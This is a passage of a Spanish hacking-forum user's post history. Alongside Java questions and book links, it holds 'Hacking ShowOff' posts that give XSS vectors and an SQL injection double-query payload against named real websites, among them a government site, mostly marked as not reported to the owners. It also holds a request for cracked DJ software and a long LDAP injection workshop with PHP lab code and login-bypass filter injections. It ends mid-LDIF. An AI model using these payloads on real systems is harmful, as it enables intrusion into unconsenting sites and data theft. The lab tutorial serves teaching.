Estoy programando en Java.
Si alguien puede guiarme un poco, le estaría agradecido!
Saludos,, Cronos.-
#14
Buenos dias comunidad, vengo a ustedes con una petición.
Resulta que ando aprendiendo a programar Java para Android. Y se me presento una curiosidad.
Hacer un simple lector de Códigos de Barras. Quien tenga cualquier tipo de información sobre el tema, sera muy agradecido.
Saludos,, Cronos.-
#15
Buenos días a la comunidad, hoy vengo a pedirles un favor.
Ando desarrollando una investigación sobre los malwares, su historia y mas. Y como dice mi profesor hay que hacer una averiguación de antecedentes, que quiero decir con esto. Tengo que recopilar información tanto vieja como nueva sobre ellos,
Que información es la que ando recopilando?
Estoy recopilando todo lo que encuentre sobre como actuaban y actúan los malwares antiguos como los de la actualidad para vulnerar a los AV. que técnicas y métodos usaban para poder esquivarlos. Que métodos utilizan ahora, porque estos cambios, etc.
Toda esta información que recopile la compartiré en el foro, una ves que considere que la información esta bien completa.
Así que todo aquel que quiera colaborar con información sera bienvenido.
Desde ya muchas gracias!

Saludos,, Cronos.-
#16
Hay una página mantenida por más de 200 personas que contribuyen frecuentemente añadiendo nuevos libros gratuitos relacionados con el mundo de la programación.



Desde manuales hasta guías específicas de algún lenguaje, podemos encontrar ya más de 1000 títulos clasificados, con enlaces que apuntan tanto a documentos en PDF como a páginas web en las que el contenido se encuentra en HTML según publica Wwwhatsnew.

Este tesoro comenzó a ser creado en mayo de 2013 en No tienes permitido ver los links. Registrarse o Entrar a mi cuenta, creando una lista cuya fama empezó a crecer en la red para generar otras variaciones, como la de No tienes permitido ver los links. Registrarse o Entrar a mi cuenta, por ejemplo.

En octubre del mismo año la lista migró para github, ganando mucho más contenido gracias a la colaboración de los cientos de usuarios que alimentan el proyecto.

La última actualización de la lista fue realizada hace tan solo 3 días, síntoma de que se trata de un directorio de enlaces constantemente vivo. Por desgracia los títulos están en inglés, aunque eso es algo ya asumido por los que están aprendiendo a programar.

Web: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Fuente: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Saludos,, Cronos.-
#17
Off Topic / Ayúdenme con esta encuesta
Octubre 21, 2013, 04:50:03 PM
Buenos días a todos, necesito la ayuda de todos para recaudar encuestas. Estoy preparando un final para la facu y no puedo conseguir encuestas, nadie se toma la molestia de responder. Les estaría muy agradecidos de su apoyo  :)
Desde ya muchas gracias!

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Saludos,, Cronos.-
#18
Hacking ShowOff / [XSS Reflejado] pandawill.com
Septiembre 01, 2013, 09:47:14 AM


Dominio afectado: /www.pandawill.com/
Path afectado: buscador
Vector: "><script>alert(/Cronos/)</script>
Reportado: No

Saludos,, Cronos.-
#19
Hacking ShowOff / [XSS Reflejado] priceangels
Septiembre 01, 2013, 09:44:53 AM


Dominio afectado: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
Path afectado: buscador
Vector: <script>alert(1)</script>
Reportado: No

Saludos,, Cronos.-
#20
Hacking ShowOff / SQLI Doble Query www.uibm.gov.it
Junio 28, 2013, 03:30:05 PM


SQL: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta' and (select 1 from (select count(*),concat(0x7e,version(),floor(rand(0)*2))a from information_schema.tables group by a)b) -- -

Reportado: No

Saludos,, Cronos.-
#21
Wargames y retos / 10 retos Sqli
Junio 11, 2013, 02:29:37 PM
Bueno esta web me la paso mi brother Arthusuh que me ha estado dando una muy buena mano enseñándome todo lo que sabe de Sqli, me pareció una web buena para practicar y conocer distintos estilos y posibilidades de Sqli así que aquí se las dejo!

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Agradecimientos a Arthusu.
Saludos,, Cronos.-
#22
Hacking ShowOff / Representarte XSS y Sqli
Junio 07, 2013, 08:04:04 PM
Bueno aca encontre esta web que tiene un xss reflect y tiene sqli.



Web: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
Vector: "><script>alert(1);</script>
Url Sqli: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
Reportado: No

Saludos,, Cronos.-
#23
Java / Sockets en Java
Abril 25, 2013, 12:32:31 AM
Buenos días! Les dejo estos manuales que encontré ya que ando a estudiando java y estoy con este temita :)
Todo aporte sobre el tema sera agradecido y agregado al post.

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Saludos,, Cronos.-
#24
Bueno como dice el titulo. Necesito el Traktor 2.5 o 2.6, necesito que también tenga el crack! Llevo horas buscándolo como loco y no puedo encontrarlo. Estaría muy agradecido con quien pueda darme una mano. El programa es para Dj´s.
Saludos,, Cronos.-
#25
Hacking ShowOff / [XSS] Denon
Febrero 19, 2013, 12:26:46 PM


Autor: Cronos
Reportado: No
Web: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
Vector: <script>alert('Cronos - Underc0de Staff')</script>

Todos los dominios de denon sean .fl . cl . ar son vulnerables tambien.
Saludos,, Cronos.-
#26
Hacking ShowOff / [XSS] CartoonNetwork
Febrero 19, 2013, 12:08:18 PM


Autor: Cronos
Reportado: Si
Web: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
Vector: <script>alert('Cronos - Underc0de Staff')</script>
#27
Cursos, manuales y libros / Curso de Windows Powershell
Febrero 19, 2013, 11:24:46 AM
Bueno encontre este tutorial sobre PowerShell y lo pase a pdf asi se hace mas facil su lectura. Espero que les guste!
El tutorial contiene los siguientes temas:


1-. Introduccion.
2-. Empezando con Powershell 1.0.
3-. Obtener ayuda.
4-. Get-Command.
5-. Tuberias y redireccion.
6-. Get-childitem.
7-. Formateando la salida.
8-. Get-Member.
9-. Politica de ejecucion.
10-. Alias.
11-. Scripting (1).
12-. Cmdlets para manejas variables.
13-. Sort-Object.
14-. Where-Object.
15-. Get-WmiObject.

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Saludos,, Cronos.-
#28
Combo estan. Les tengo una pregunta.
Tengo un router Kozumi, y tengo problemas con el alcance del wifi. Resulta que solo tiene alcanse a 2m a la redonda despues de eso nada xD
Mi casa es un poco grande y no me llega internet a ningun lado. Esto es configurable o ya me voy comprandro otro router?
Espero su respuesta, desde ya muchas gracias!
Saludos,, Cronos.-
#29
Taller de Inyecciones LDAP

[----Indice de Contenidos-----]
0x01 Introducción
0x02 Laboratorio
    ./0x01 OpenLDAP
    ./0x02 Servidor Web
    ./0x03 Test
0x03 Funciones básicas en PHP
0x04 Filtros de búsquedas
0x05 Bypassing Logins
     ./0x01 Sin filtrar asteriscos
     ./0x02 Filtrando asteriscos
0x06 Extracción de información
0x07 Blind LDAP Injection


[--------------Eof----------]

0x01 Introducción

   Lo primero que quiero aclarar en esta introducción es que no voy a extenderme en cómo funciona LDAP, ni en los estándares en que basa su estructura. Con ello quiero decir que es más que recomendable que amplieis información, puesto que este manual se va a centrar en las vulnerabilidad y en la denfesa. Una vez dejado claro esto, paso a copipastear la definición de wikipedia:

Cita de:  WikipediaLDAP son las siglas de Lightweight Directory Access Protocol (en español Protocolo Ligero de Acceso a Directorios) que hacen referencia a un protocolo a nivel de aplicación el cual permite el acceso a un servicio de directorio ordenado y distribuido para buscar diversa información en un entorno de red. LDAP también es considerado una base de datos (aunque su sistema de almacenamiento puede ser diferente) a la que pueden realizarse consultas.

Un directorio es un conjunto de objetos con atributos organizados en una manera lógica y jerárquica. El ejemplo más común es el directorio telefónico, que consiste en una serie de nombres (personas u organizaciones) que están ordenados alfabéticamente, con cada nombre teniendo una dirección y un número de teléfono adjuntos.

Un árbol de directorio LDAP a veces refleja varios límites políticos, geográficos u organizacionales, dependiendo del modelo elegido. Los despliegues actuales de LDAP tienden a usar nombres de Sistema de Nombres de Dominio (DNS por sus siglas en inglés) para estructurar los niveles más altos de la jerarquía. Conforme se desciende en el directorio pueden aparecer entradas que representan personas, unidades organizacionales, impresoras, documentos, grupos de personas o cualquier cosa que representa una entrada dada en el árbol (o múltiples entradas).

Habitualmente, almacena la información de autenticación (usuario y contraseña) y es utilizado para autenticarse aunque es posible almacenar otra información (datos de contacto del usuario, ubicación de diversos recursos de la red, permisos, certificados, etc). A manera de síntesis, LDAP es un protocolo de acceso unificado a un conjunto de información sobre una red.

La versión actual es LDAPv3, la cual es especificada en una serie de Internet Engineering Task Force (IETF) Standard Track Request for Comments (RFCs) como se detalla en el documento RFC 4510.

En resumidas cuentas podemos decir que se trata de un protocolo que permite acceder a un servicio de directorios donde se almacena la información, para ser usada posteriormente, dentro de la red de una corporación. Podemos imaginar que es como una llave a las páginas amarillas: dependiendo de cómo esté constituido el árbol LDAP podríamos encontrar desde nombres, correos, direcciones, nombres de usuarios, puesto de trabajo, ordenador asignado, etc. es decir un conjunto de información muy interesante para un posible atacante. Por otro lado, LDAP tiene otra vertiente muy importante desde el punto de vista de la seguridad porque en algunas ocasiones es utilizada a modo de base de datos, llegando en algunos casos a usarse como método de autenticación.

        Los ataques utilizados hasta ahora contra LDAP son muy diferentes, siendo los más populares las conexiones anónimas a los directorios para recoger información (véase el caso de la NASA) y las inyecciones a través de aplicaciones webs. Este segundo tipo de ataque (existen muchos más, pero he comentado los más habituales) será sobre el que centraremos este taller.

  El formato típico con el que vamos a trabajar es LDIF. En este formato las entradas estarán constituidas en su inicio por el dn (distingused name) que está compuesto por el nombre de la entrada (CN) y por los árboles padre (DC). Posteriormente se colocan los atributos que serán quienes contengan los campos con información. Un ejemplo de entrada podría ser:  (Nota sería muy interesante que ampliaseis toda esta información porque esto sólo ha sido una pincelada).

Código: php
dn: cn=Testcell,dc=pruebas,dc=com
cn: Testcell
givenName: X-C3LL
sn: Celula
telephoneNumber: 696969696
telephoneNumber: 7878787878
mail: [email protected]
objectClass: inetOrgPerson
objectClass: organizationalPerson
objectClass: person
objectClass: top


  Se puede observar al inicio como el nombre de la entrada es "Testcell", y que los árboles padre son pruebas y com, por lo que la estructura sería similar a :

WORLD
   |
   |_ com                                       DIRECTORIOS (ARBOLES)
          |_pruebas                                          ENTRADAS
                   |_Testcell

0x02 Laboratorio

    A continuación procederé a explicar cómo montaremos nuestro laboratorio. En este caso no vamos a complicarnos mucho y vamos a usar OpenLDAP para el servidor LDAP y para correr las aplicaciones web usaremos EasyPHP (Apache) a fin de que los que quieran empezar lo puedan hacer rápido y no tengan que configurar todo el servidor desde 0 (que sería lo recomendable). Si estais trabajando bajo Linux, OpenLDAP también podeis usarlo, y si teneis instalado Apache fijaros de que al compilar PHP le habeis introducido las .dll necesarias para poder usar las funciones de LDAP. Cualquier problema que os encontreis a la hora de hacer funcionar nuestro laboratorio posteadla en este mismo tema e intentaré resolverla.

./0x01 OpenLDAP

     Como he dicho hace apenas unas líneas arriba vamos a emplear OpenLDAP para nuestro servidor, por lo que procederemos a su descarga desde el sitio oficial: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta . En la instalación nos pedirá que seleccionemos el tipo de backend, debeis de seleccionar LDIF. Por lo demás creo que no debería de haber ninguna duda con respecto a la instalación (como password usad la default, "secret").

   Una vez que hayamos finalizado correctamente la instalación procederemos a modificar el archivo slapd.conf. Para que no haya ningún problema a la hora de ejecutar las prácticas del taller necesitaremos que todos tengamos la misma configuración, por lo que tendreis que cambiar vuestros valores a:

Citarsuffix      "dc=pruebas,dc=com"
rootdn      "cn=Manager,dc=pruebas,dc=com"

Una vez hecho esto procederemos a la instalación del servidor web.

./0x02 Servidor Web

     Procedemos a descargar EasyPHP desde la web oficial ( No tienes permitido ver los links. Registrarse o Entrar a mi cuenta ) e instalarlo (no tiene ningún misterio). Ahora bien, por defecto PHP no tiene habilitadas las funciones LDAP, asi que tendremos que activarlas de forma manual. Buscar el archivo php.ini dentro de la carpeta PHP y descomentar (quitar el ";") la línea extension=php_ldap.dll, repite esta operación en el archivo php.ini que encontrarás en la carpeta de Apache.

  Una vez modificado php.ini tendremos que mover las .dll ssealy32.dll, libsasl.dll y libeay32.dll a la carpeta bin de Apache. Si una vez que usemos funciones LDAP desde PHP nos suelta un erorr indicando que no encuentra la funcion, copiaremos esas dos dlls a la carpeta system32.

./0x03 Test

   A continuación pondremos en marcha OpenLDAP ejecuntando el archivo run.bat que se encuentra en la carpeta run, dentro de la carpeta donde se instaló el programa, y pondremos en marcha el servidor Apache desde el panel de control de EasyPHP. Ahora colocad un archivo index.php dentro de la carpeta www de EasyPHP que contega el siguiente código:

Código: php
echo "
Test de funcionamiento
";
$ds = ldap_connect("127.0.0.1");
?>


Acceded a él vía navegador (No tienes permitido ver los links. Registrarse o Entrar a mi cuenta ).Si ha habido algún problema nos aparecerá un mensaje tipo "Can't find... bla bla... LDAP_CONNECT". De ser así revisa todos los pasos, y si has seguido todo al pie de la letra y sigue sin funcar, postealo para intentar echarte una mano. Si te ha ido bien, continúa leyendo.

0x03 Funciones básicas en PHP

     El objetivo de este primer ejercicio es conocer las funciones básicas que usaremos para interaccionar desde la aplicación web con el servidor LDAP.  Para ello añadiremos nuestras primeras entradas al servidor, a través de un fichero .ldif. Creamos con el bloc de notas un fichero que llamaremos pruebas.ldif y lo guardamos en la misma carpeta de OpenLDAP. El contenido del fichero es el siguiente:

Citardn: dc=pruebas,dc=com
objectclass: dcObject
objectclass: organization
o: Test123
dc: pruebas

dn: cn=TestSeta,dc=pruebas,dc=com
cn: TestSeta
givenName: Seth
sn: Gay
telephoneNumber: 7777777
telephoneNumber: 76767676767676
mail: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
objectClass: inetOrgPerson
objectClass: organizationalPerso n
objectClass: person
objectClass: top

dn: cn=TestDark,dc=pruebas,dc=com
cn: TestDark
givenName: DarkGatox
sn: Gato
telephoneNumber:56565656565
telephoneNumber: 1234567
mail: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
objectClass: inetOrgPerson
objectClass: organizationalPerso n
objectClass: person
objectClass: top

dn: cn=Testcell,dc=pruebas,dc=com
cn: Testcell
givenName: X-C3LL
sn: Celula
telephoneNumber: 696969696
telephoneNumber: 7878787878
mail: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
objectClass: inetOrgPerson
objectClass: organizationalPerso n
objectClass: person
objectClass: top

Abrimos el cmd y nos situamos en la carpeta donde se cuentra el archivo que hemos creado. A continuación ejecutamos slapdadd.exe con el siguiente arguemento para añadir las entradas al servidor:

Citarslapadd -l pruebas.ldif



Si ya habeis leído más sobre LDAP, y LDIF, (y si no lo habeis hecho, ¿A qué cojones esperais?) sabreis que se ha creado un directorio tal que así:


WORLD
       |
       |_com                                          DIRECTORIOS(ÁRBOLES)
             |_pruebas                                       
                     |_Testcell
                     |_TestDark                                        ENTRADAS
                     |_TestSeta

Habiendo creado ya las entradas, procederemos a trabajar con ellas a través de PHP. La operacion más básica e indispensable es la de conexión al servidor que se realiza a través de la función ldap_connect(), cuyo argumento es la dirección IP o el nombre del dominio donde se encuentra el servidor. En nuestro caso como las pruebas son en local sería 127.0.0.1 o localhost. Lo segundo que debemos de hacer es autenticarnos en el servidor usando la función ldap_bind(), a la que hay que pasarle como argumentos la conexión (que tendremos guardada en una variable), el nombre de usuario (en nuestro caso cn=Manager,dc=pruebas,dc=com) y la contraseña (secret). En el caso de querer conectarnos como usuario anónimo,  (en caso de que el servidor esté configurado para admitir este tipo de conexiones) únicamente podremos leer las entradas y no modificarlas. Para conectar de esta forma deberemos de pasarle a la función ldap_bind() la conexión que abrimos anteriormente.

     Un consejo para evitar conflictos con los protocolos empleados es la de definir la versión que vamos a utilizar, a través de ldap_set_option(). Un ejemplo sencillo para que practiqueis con estas 3 funciones es el siguiente:

Código: php
echo "
Ejercicio nº1
"
;
//Seteamos las variables "usuario" y "password" para facilitar su trabajo
$usuario = "cn=Manager,dc=pruebas,dc=com";
$pass = "secret";
//Conectamos con el servidor e indicamos la versión que emplearemos en la comunicación
$ds = ldap_connect("127.0.0.1");
ldap_set_option($ds, LDAP_OPT_PROTOCOL_VERSION, 3);
//Si se establece la conexión procederemos a autenticarnos
if ($ds){
           $a=ldap_bind($ds, $usuario, $pass);
           if($a){
//En caso afirmativo aparecerá un mensaje verde....
                    echo 'Autenticación con éxito';
} else {
//... y si no ha funcado en rojo.
                     echo 'Autenticación fallida';
}
//Cerramos la conexión
ldap_close($ds);
}
?>


Una vez conectados y autenticados en el servidor podremos proceder a realizar consultas y búsquedas dentro de los árboles. La función base para realizar una búsqueda es ldap_search() y requiere como parámetros mínimos un árbol donde buscar y un filtro (en secciones posteriores nos centraremos en esto). El ejemplo más sencillo es tratar de localizar en qué entradas se encuentra un determinado atributo. Una vez que se ha realizado la búsqueda pasamos el resultado a la función ldap_get_entries() que nos devolverá un array asociativo donde podremos trabajar con los atributos uno por uno, así como conocer el número de entradas.  En el ejercicio nº2 podemos ver cómo mostrar qué entradas tienen un determinado "sn":

Código: php
echo "
Ejercicio nº2
";
$usuario = "cn=Manager,dc=pruebas,dc=com";
$pass = "secret";
$ds = ldap_connect("127.0.0.1");
ldap_set_option($ds, LDAP_OPT_PROTOCOL_VERSION, 3);
if ($ds) {
  $a=ldap_bind($ds, $usuario, $pass);
if ($a) {
//Realizamos la búsqueda, en este caso buscamos las entradas que tengan como valor de sn "Gato"
  $sr = ldap_search($ds, "dc=pruebas, dc=com", "sn=Gato");
//Sacamos un array asociativo con los datos
  $info = ldap_get_entries($ds, $sr);
//Mostramos el número de entradas que contienen un sn cuyo valor es "Gato"
    echo "Devueltos datos de ".$info["count"]." entradas:";
//Mediante un bucle for mostramos el DN y el SN de la entrada
for ($i=0; $i<$info["count"]; $i++) {
        echo "Nombre de la entrada: ". $info[$i]["dn"] ."
";
        echo "sn: ". $info[$i]["sn"][0] ."";       
    }
} else {
  echo "No autenticado";
}
}
ldap_close($ds);
?>


Como únicamente hay una entrada que coincida con el criterio de búsqueda, únicamente se nos mostrará ésta:

CitarEjercicio nº2
Devueltos datos de 1 entradas:

Nombre de la entrada: cn=TestDark,dc=pruebas,dc=com
sn: Gato

En el ejercicio nº3 intentaremos averiguar qué personas usan correos electrónicos del mismo dominio y además cuales son estos correos, usando para ello el comodin * en el filtro de búsqueda:

Código: php
echo "
Ejercicio nº3
";
$usuario = "cn=Manager,dc=pruebas,dc=com";
$pass = "secret";
$ds = ldap_connect("127.0.0.1");
ldap_set_option($ds, LDAP_OPT_PROTOCOL_VERSION, 3);
if ($ds) {
  $a=ldap_bind($ds, $usuario, $pass);
if ($a) {
  $sr = ldap_search($ds, "dc=pruebas, dc=com", "mail=*@portaljuanker.info");
  $info = ldap_get_entries($ds, $sr);
    echo "Devueltos datos de ".$info["count"]." entradas:";
for ($i=0; $i<$info["count"]; $i++) {
        echo "Nombre de la entrada: ". $info[$i]["dn"] ."
";
        echo "sn: ". $info[$i]["sn"][0] ."
";
        echo "Mail:".$info[$i]["mail"][0]."";     
    }
} else {
  echo "No autenticado";
}
}
ldap_close($ds);
?>


Son 3 las entradas que tienen un correo en ese dominio, y además podremos saber cuales son esos correos :

CitarEjercicio nº3
Devueltos datos de 3 entradas:

Nombre de la entrada: cn=Testcell,dc=pruebas,dc=com
sn: Celula
Mail:[email protected]

Nombre de la entrada: cn=TestDark,dc=pruebas,dc=com
sn: Gato
Mail:[email protected]

Nombre de la entrada: cn=TestSeta,dc=pruebas,dc=com
sn: Gay
Mail:[email protected]

0x04 Filtros de búsquedas

Los filtros de búsqueda que se aplican en una petición al servidor LDAP se colocan entre ( ), uno por cada filtro. Las equivalencias pueden ser =, =~, >=, <=, y los operadores lógicos & (AND), ! (NOT) y | (OR).  Los operadores lógicos se colocan delante de los filtros a los que quiere aplicarse. Por ejemplo, si quisieramos buscar aquellas entradas cuyo e-mail es @portaljuanker.net y cuyo nombre sea Ramiro usaríamos el siguiente filtro:

(&(mail= *@portalhacker.net)(givenName=Ramiro))
          Cuando utilizamos el operador AND estamos indicando que las condiciones del filtro siempre se deben de cumplir (justo lo contrario de NOT), sin embargo cuando hacemos uso de OR, se buscaran aquellas entradas que cumplan al menos una de las condiciones. Si queremos saber, por ejemplo, quienes son Administradores o colaboradores, podríamos realizar la siguiente búsqueda:

     (|(description=admin*)(description=colab*))


     Los filtros tienen prioridad desde dentro hacia fuera, y desde la izquierda hacia la derecha. Si quisieramos buscar dentro de aquellos usuarios que son admin y colaboradores cuales no tienen su correo @portaljuanker.net, el filtro sería:

    (|((description=admin*)(description=colab*))(!(mail=*@portaljuanker.net))

   Una vez entendido como trabajar con los filtros, deberíais de practicar imaginando cualquier situación y tratando de crear un filtrado que se adapte.

0x05 Bypassing Logins

   Dice Seth que quiere empezar a romper cosas, asi que nos pondremos a ello. Como no sabía por donde empezar, creo que lo mejor será seguir el orden lógico que aparece en los manuales de SQL injections: siempre empiezan con el bypass de login vía ' OR 1=1 --. Algo similar es lo que vamos a hacer aquí, aunque primero vamos a estudiar un caso mucho más simple.  Para poder continuar realizando los ejercicios debeis de borrar todo el contenido de la carpeta ldifdata,y editar el contenido del archivo pruebas.ldif que hicimos al inicio, susituyendo todo por esto:

Citardn: dc=pruebas,dc=com
objectclass: dcObject
objectclass: organization
o: Web
dc: pruebas


dn: dc=usuarios,dc=pruebas,dc=com
objectclass: dcObject
objectclass: organization
o: Usuarios
dc: usuarios


dn: uid=seth,dc=usuarios,dc=pruebas,dc=com
objectclass: top
objectclass: person
objectclass: organizationalPerso n
objectclass: inetOrgPerson
cn: Seth
sn: Gaylord
givenname: Seta
uid: seth
ou: people
description: Moderador de Seguridad Web
telephonenumber: 44433322
mail: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
userpassword: RGBlaChupaDeCanto


dn: uid=rgb,dc=usuarios,dc=pruebas,dc=com
objectclass: top
objectclass: person
objectclass: organizationalPerso n
objectclass: inetOrgPerson
cn: Rgb
sn: Dictator
givenname: Colorines
uid: rgb
ou: people
description: Administrador PortalHacker
telephonenumber: 1234123412
mail: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
userpassword: SethEsGay


dn: uid=waeswaes,dc=usuarios,dc=pruebas,dc=com
objectclass: top
objectclass: person
objectclass: organizationalPerso n
objectclass: inetOrgPerson
cn: WaesWaes
sn: Javadicted
givenname: Gmod
uid: waes
ou: people
description: Gmod de PortalHacker
telephonenumber: 696969696
mail: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
userpassword: 0verl0ad

El escenario donde vamos a movernos es una aplicación web que para comprobar si ese usuario y contraseña son correctos no utiliza una base de datos SQL clásica, sino que emplea un servidor LDAP. Para ello la aplicación se conectará al servidor empleando un usuario y contraseña, y realizará una búsqueda para encontrar si hay correspondecia con el usuario y la contrseña. De ser correcto el login la aplicación debería de abrir un sesión web a ese usuario y podrá disfrutar de una navegación con su usuario (esta parte me la voy a salta, nos vamos a centrar en que el login sea TRUE o FALSE, lo que haga después de eso no nos incumbe

./0x01 Sin filtrar asteriscos

      Este es el escenario más sencillo que vamos a encontrar, y es aquél en el que no se filtra ni los asteriscos. No tiene ningún misterio, aun así os dejo un pequeño ejemplo de un login con esta carencia. Los parámetros en vez de enviarlos por una petición POST lo mando por una GET para poder editarlos más fácilmente. Aquí el código:

Código: php
echo "
Ejercicio nº4 - Bypass login con asteriscos
";
$usuario = "cn=Manager,dc=pruebas,dc=com";
$pass = "secret";
$ds = ldap_connect("127.0.0.1");
ldap_set_option($ds, LDAP_OPT_PROTOCOL_VERSION, 3);
if ($ds){
  $a=ldap_bind($ds, $usuario, $pass);
  if ($a){
   $buscar = "(&(uid=".$_GET['uid'].")(userPassword=".$_GET['p']."))";
  echo $buscar."";
   $sr = ldap_search($ds, "dc=pruebas, dc=com", "$buscar");
   $info = ldap_get_entries($ds, $sr);
   
     if ($info["count"] == 1){
        echo '¡Has iniciado sesión correctamente!';
        for ($i=0; $i<$info["count"]; $i++) {
          echo "Nombre de la entrada: ". $info[$i]["dn"] ."
";
           echo "Apellidos: ". $info[$i]["sn"][0] ."
";
           echo "Apodo: ". $info[$i]["givenname"][0] ."
";
           echo "Rango: ". $info[$i]["description"][0] ."
";
           echo "Telefono: ". $info[$i]["telephonenumber"][0] ."
";
           echo "Mail:".$info[$i]["mail"][0]."";
          }
             } else {
        echo '¡ERROR! El usuario o contraseña son incorrectos';
     }
} else {
  echo "No autenticado";
  }
}
ldap_close($ds);
?>


Si probamos a pasarle un par de datos verdaderos (index.php?uid=seth&p=RGBlaChupaDeCanto el login será válido y podremos ver un mensaje indicándonoslo. La consulta de búsqueda que se ha enviado ha sido (&(uid=seth)(userPassword=RGBlaChupaDeCanto)), y nos ha devuelto una entrada con la coincidencia. Si probásemos con un usuario inválido, o una contraseña inválida no podríamos pasar el login.

    Para poder bypassear esta restricción símplemente tendríamos que conocer el nombre de un usuario y como password colocar un "*", quedando el filtro de búsqueda constituido de la siguiente la forma (&(uid=seth)(userPassword=*)). Como vimos anteriormente es un carácter comodín que nos permitirá cumplir siempre la condición inpuesta por el IF (siempre coincidirá el uid "seth" con "cualquier password").

./0x02 Filtrando asteriscos

   Este caso es el más común. El truco del asterisco es demasiado obvio para un login (que no para una búsqueda normal) y casi cualquier persona encargada de trabajar con LDAP será consciente de que debe de eviar los comodines, lo que es menos probable es que caiga en la cuenta de que no es la única forma de realizar un bypass. ¡Nos podrán quitar los asteriscos, pero jamás nos quitarán el bypass!
 
   Bien para este ejercicio símplemente añadir una función para eliminar "*" de las variables que se introducen, (por ejemplo podeis añadir $buscar = str_replace("*", "", $buscar);) justo después de la línea 17 (es decir, donde setea $buscar con la consulta). Si todo va bien al intentar utilizar un comodin para poder loguearnos como el usuario nos debería de soltar un error (  por ejemplo /index.php?uid=rgb&p=*). Podemos comprobar que la consulta queda corrompida, (&(uid=rgb)(userPassword=)), por lo que siempre será FALSE.

Podemos aplicar el siguiente truco (extraído de una presentación de Chema Alonso) para que, aun usando una contraseña falsa, el login siga siendo positivo. La idea es que se forme el siguiente filtro: (&(uid=rgb)(!(&(|)(userPassword=adfadfad))))  . He intentado señalizar con colores el alcance de cada filtro, aunque creo que así sigue siendo un pequeño lío, así que voy a proceder a separar condición por condición, aplicando el criterio que comenté en el apartado destinado a filtros:

(&(uid=rgb)(!(&(|)(userPassword=adfadfad))))   
&(uid=rgb)
(|)
&(|)(userPassword=adfadfad))
(!(&(|)(userPassword=adfadfad)))


    Esta idea es buena, pero es bastante complicada. Por mi parte yo he diseñado mi propio truco, basado en que en un filtro de búsquedas se pueden utilizar dos veces el mismo atributo y el mismo valor. Si recordamos la comprobación de si el user y el password coincide se lleva acabo a través de un operador AND, que evalúa dos condiciones (user y password).  Lo que vamos a hacer es desdoblar la segunda condición y hacer que se transforme en una operación OR entre password y de nuevo el usuario. Es decir, debe quedar algo así:

(&(uid=seth)(|(uid=seth)(userPassword=adfadfad)))

   Que se leería como "Si uid= Seth y además, uid=Seth o userPassword=adfadfad entonces es válido". Como uid=seth existe, la resolución del OR va a ser TRUE, es decir que pese a que no tenga ese userPassword como sí cumple la otra condición el filtro equivaldría a  (&(uid=seth)(uid=seth)) , que siempre es verdad. Para que todo ello suceda la inyección deberá quedar como /index.php?uid=seth)(|(uid=seth&p=adfadfad). Al filtro le estaremos añadiendo los siguientes caracteres:

(&(uid=seth)(|(uid=seth)(userPassword=adfadfad)))

Con esto creo que queda ya zanjado el tema de cómo bypassear sistemas de logueo basados en búsquedas LDAP. Siempre la base va a ser la misma, lo único que puede variar es la forma en que realice su búsqueda, por lo que tendreis que adaptaros a la circunstancia y crear una inyección para esa aplicación en concreto. Otra cosa que quiero que tengais en mente es que no siempre que se autentica vía LDAP se emplea este sistema, existe una forma más segura que es en vez de usar un juego usuario/contraseña situado en la aplicación para bindear con el servidor, lo que existen son distintas usuarios/contraseña que corresponde con cada usuario. De esta forma la comprobación se realiza intentando autenticarse con los datos que indiquemos, si no lo consigue detectará que son incorrectos los datos.


      En este último caso también pueden aparecer fallos a la hora de programar la aplicación web que nos permitan entrar al sistema como usuarios anónimos. No comento este caso porque no tiene relación con las inyecciones LDAP, sino que se trata (en el caso más común) de no asegurarnos que se han seteado las variables password y usuario a la de usar la función de bindeo.


0x06 Extracción de información

En este bloque vamos a centrarnos en cómo extraer información de las aplicaciones que actúan como buscadores de los servidores LDAP, es decir, que nos permiten buscar cierta información dentro de unos límites. Lo que vamos a hacer nosotros es saltarnos esos límites. Al igual que en el bloque anterior borrad el contenido de ldifdata y editad vuestro archivo pruebas.ldif con el siguiente contenido:

Citardn: dc=pruebas,dc=com
objectclass: dcObject
objectclass: organization
o: Web
dc: pruebas


dn: dc=usuarios,dc=pruebas,dc=com
objectclass: dcObject
objectclass: organization
o: Usuarios
dc: usuarios


dn: dc=admin,dc=usuarios,dc=pruebas,dc=com
objectclass: dcObject
objectclass: organization
o: Administradores
dc: admin



dn: dc=gmod,dc=usuarios,dc=pruebas,dc=com
objectclass: dcObject
objectclass: organization
o: Moderadores Globales
dc: gmod


dn: dc=mod,dc=gmod,dc=usuarios,dc=pruebas,dc=com
objectclass: dcObject
objectclass: organization
o: Moderadores
dc: mod


dn: uid=vart,dc=admin,dc=usuarios,dc=pruebas,dc=com
objectclass: top
objectclass: person
objectclass: organizationalPerson
objectclass: inetOrgPerson
cn: Vart
sn: Vartolin
givenname: Vartola
uid: vart
ou: people
description: admin
telephonenumber: 44433322
mail: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
userpassword: nananaLIDER


dn: uid=rgb,dc=admin,dc=usuarios,dc=pruebas,dc=com
objectclass: top
objectclass: person
objectclass: organizationalPerson
objectclass: inetOrgPerson
cn: Romario
sn: Gonzalez Sinde
givenname: Colorines
uid: rgb
ou: people
description: admin
telephonenumber: 4455522
mail: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
userpassword: SethEsGay


dn: uid=rcart,dc=gmod,dc=usuarios,dc=pruebas,dc=com
objectclass: top
objectclass: person
objectclass: organizationalPerson
objectclass: inetOrgPerson
cn: Rocarto
